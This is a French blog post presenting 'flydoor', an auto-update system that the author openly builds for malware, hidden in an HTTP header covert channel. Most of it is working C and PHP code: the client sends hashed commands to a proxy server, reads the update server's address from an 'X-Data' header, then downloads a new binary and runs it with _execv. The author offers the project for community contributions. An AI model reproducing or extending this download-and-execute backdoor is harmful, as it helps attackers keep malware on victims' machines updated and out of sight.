HTTP covert channel Backdoor

Preface

Je regardais mon flux de news l'autre jour et je suis tombé sur un article expliquant que le nombre d'attaques via PowerShell était en net augmentation. Un exemple expliquait qu'il y avait eu des cas d’exécution de fichier sans écriture sur le disque. Je me suis alors rappeler de cet article que j'avais écrit il y a un petit moment expliquant comment récupérer un fichier en ligne via un canal cache. Je l'utilisais a l’époque pour ma backdoor qui l’exécutée en mémoire via le framework .Net. J'ai du retirer le code en question. L'article date de 2012, autant vous dire que ce qui est présenté comme une recrudescence d'attaque n'est pas vraiment nouveau.

Introduction

Cher lecteur, bonjour. Je vais aujourd'hui vous présenter le principe de flydoor. L'idée m'est venue à l'esprit après avoir lu un article sur le logiciel Loic (permettant de faire des DoS) développé par les Anonymous qui souffrait d'un bug que certains administrateurs avaient exploité pour se protéger d'éventuelles attaques DDoS. 

Aujourd'hui nous connaissons tous le principe de l'auto-update qui permet la mise à jour de vos logiciels de manière automatisée. Ces petits programmes vous permettent d'avoir des logiciels toujours à jour et de corriger les éventuels bugs. 

Il m'est donc venu à l'idée la mise en place d'un tel outil pour vos chers petits malwares. En effet, aujourd'hui de nombreux malwares sont des logiciels à part entière, avec leur part de bugs et d'améliorations possibles. 

J'ai donc réaliser un programme de mise à jour automatisée de manière la plus discrète et robuste possible dont voici donc le schéma de principe.

Schéma de principe

L'idée étant que le programme devra être capable de résister à une tentative de suppression du système de mise à jour. Pour cela je me suis inspiré du système des trackers du réseau torrent. En effet le programme va, dans un premier temps récupérer, auprès du serveur mandataire, l'adresse du serveur de mise à jour. Suite à cela il va vérifier que le fichier disponible sur le serveur est plus récent que l'actuel (à l'aide d'un CRC32), le télécharger et le lancer le cas échéant. Tout cela camouflé à l'aide d'un covert channel HTTP ([1] [2]

in memory file execution
Voici donc le processus décrit en entier : 1. Requête HTTP POST au serveur mandataire pour récupérer le serveur de téléchargement. 2. Requête HTTP POST au serveur de téléchargement pour récupérer le hash du nouveau fichier. 3. Vérification du hash du nouveau fichier par rapport à celui présent sur la machine locale. 4. Téléchargement de la mise à jour par requête HTTP GET et vérification de l'intégrité du fichier. 5. Lancement de la mise à jour.

Programmation

Maintenant que nous avons l'architecture de notre application, il ne reste plus qu'à la coder \o/. 

Nous pouvons tout de suite voir que nous avons un nombre important de requêtes HTTP à réaliser, ce qui nous amène à choisir la librairie curl [3] pour nous faciliter la tâche. 

De plus j'ai choisi de transmettre les données par le biais de l'en-tête HTTP sous la forme d'un « pseudo » canal caché. Il nous faudra donc une librairie permettant d'utiliser les expressions régulières pour parser les en-têtes. Nous prendrons donc pcre [4] qui est une référence. 

Pour finir, nous aurons également besoin de calculer des sommes de contrôle. Pour cela j'ai opté pour la librairie zlib [5]. Ce choix a également été motivé par les possibilités qu'offre cette librairie pour les évolutions futures du logiciel. 

Dans un premier temps on va initialiser la librairie curl :
CURL *curl;
CURLcode res;

curl = curl_easy_init();

Je ne vais pas refaire un tutoriel sur l'utilisation de la librairie curl [3], je vous renvoie pour cela à la documentation de la librairie. Ce qu'il faut savoir c'est que la majorité des commandes se font par le biais de la fonction curl_easy_setopt.

Après initialisation, nous allons donc récupérer l'adresse du serveur de mise à jour : 

if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, MANDATORYSERVER);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "name=110a3755713adadcc2b9f3301c12d358"); curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, get_server);

res = curl_easy_perform(curl);
}

Ce code défini que nous envoyons une requête POST à MANDATORYSERVER avec comme argument name et le hash de “getbubbles”. Nous définissons également que la fonction get_ server doit effectuer le traitement de l'header HTTP reçu en réponse. Le prototype de la fonction est le suivant : 

static size_t get_server(void* ptr, size_t size, size_t nmemb, void* userdata)

Il s'agit du prototype générique pour la majorité des handler de la libcurl. L'argument ptr contient les données reçues, size, la taille des données, nmemb, la taille du type de données et userdata qui permet de passer des arguments supplémentaires. Dans notre cas, cette fonction fait appel à get_data qui s'occupe de parser le header HTTP. J'ai choisi d'utiliser l'entête X-Data pour transmettre les données. 

Voici un exemple :
< HTTP/1.1 200 OK
< Date: Tue, 12 Apr 2011 21:36:51 GMT
< Server: Apache/1.3.34 (Ubuntu)
< X-Powered-By: PHP/4.4.9-1.standard
< X-Data: 4884da7754823b44ccc2b2106f21146e

< Transfer-Encoding: chunked
< Content-Type: text/html

Ainsi donc la fonction get_data s'occupe de récupérer la somme MD5 pour l'exemple précédent. Voici le code de la routine en question.

#define PATTERN "(X-Data:) (.+)$"
re = pcre_compile( pattern, 0, &error, &erroffset, NULL);
if (re != NULL) {
    rc = pcre_exec( re, NULL, line, size*nmemb, 0, 0, ovector, OVECCOUNT);
    if (rc > 0) {
        int i = 2;
        char *substring_start = line + ovector[2*i];
        int substring_length = ovector[2*i+1] - ovector[2*i];
        strncpy_s(to, 512, substring_start, substring_length);
        pcre_free(re);
    }
}

Pour cette partie nous utilisons donc la librairie pcre. On peut voir que l'expression régulière chargée de récupérer les données est extrêmement simple, elle récupère tout ce qui suit le champ X-Data. Bien sûr libre à l'utilisateur de la modifier \o/. 

Dans notre exemple nous récupérons donc dans un premier temps l'adresse du serveur de mise à jour. Ensuite nous interrogeons le serveur pour obtenir le nom et le hash de la mise à jour. Cela se fait grâce à une requête POST avec comme paramètre name et comme valeur le MD5 de la commande “getfile” et de la commande “getsum”. 

// commande name = getfile
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "name=b24ba6d783f2aa471b9472109a5ec0ee"); curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, get_filename);
Suivi de :

// commande name = getsum
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "name=9ea01aea19194742b87d3663a3be06af"); curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, get_crc32);

Si ce hash est différent du fichier local, alors on récupère le fichier par une méthode GET :

FILE *fp;

if(curl)
{
    fp = fopen(output, "wb");
    curl_easy_setopt(curl, CURLOPT_HTTPGET, 1L);
    curl_easy_setopt(curl, CURLOPT_URL, tmp);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp);
    res = curl_easy_perform(curl);
    fclose(fp);
}

Une fois le fichier récupéré, on l'exécute avec les arguments passés à notre utilitaire : 

_execv(update_filename, argv);

Et voilà \o/ la mise à jour a été réalisée avec succès. Vous pouvez enfin nettoyer toutes les ressources allouées pendant l'exécution du programme. 

Ceci étant pour le code côté client. Du côté serveur nous avons donc besoin d'un serveur HTTP. Dans notre exemple, un serveur Apache. Mais n'importe quel serveur peut faire l'affaire. Je vais donc vous présenter le code PHP du serveur tel que je l'ai réalisé. 

Le serveur mandataire s'occupe donc de vérifier que les serveurs de mise à jour sont en ligne et renvoie le premier serveur de la liste : 

<?php
$adresses = array("http://127.0.0.1:80/test/delivery.php");

if ($_POST["name"] == md5("getbubbles"))
{
    foreach($adresses as $adresse)
    {
        if(@file_get_contents($adresse))
        {
            header("X-Data: http://".$adresse.'/');
            break;
        }
    }
}
?>

Du côté du serveur de mise à jour, le code est extrêmement simple puisqu'il s'occupe de retourner le nom du fichier de mise à jour et la somme MD5 : 

<?php
$backdoor = "http://127.0.0.1:80/test/update.exe";

$crc32 = sprintf( "%u", crc32(file_get_contents($backdoor)));

if (isset($_POST["name"]))
{

}

if ($_POST["name"] == md5("getfile"))
header("X-Data: ".$backdoor);
if ($_POST["name"] == md5("getsum"))
header("X-Data: ".$crc32 );

?>

Conclusion

Pour le moment seul un covert channel HTTP a été implémenté mais on pourrait imaginer d'autres types de covert channel (DNS, ICMP ou autre). On aurait aussi pu implémenter une routine permettant de choisir le serveur de mise à jour de manière aléatoire pour éviter les requêtes répétées en direction du même serveur. De plus le code reste à améliorer grandement, pour le moment il ne s'agit que de l'ossature de l'application mais toute aide extérieure sera appréciée \o/. 

Voilà, j'espère que cette présentation vous aura permis d'apprendre pas mal de choses et je me permets maintenant de lancer un appel à la communauté. J'ai créé un hébergement google code pour le projet et j'espère que vous prendrez le temps d'y jeter un œil voir même d'y participer \o/.

Bibliographie


  1. [1] Frenchy Covert Channel, Flyers
  2. [2] Tunneling et canaux cachés au sein du protocole HTTP, Simon Castro
  3. [3] Libcurl
  4. [4] Libpcre
  5. [5] Zlib

Flyers

No comments:

Post a Comment

Merci de votre commentaire. Celui-ci est en cours de modération.

Most seen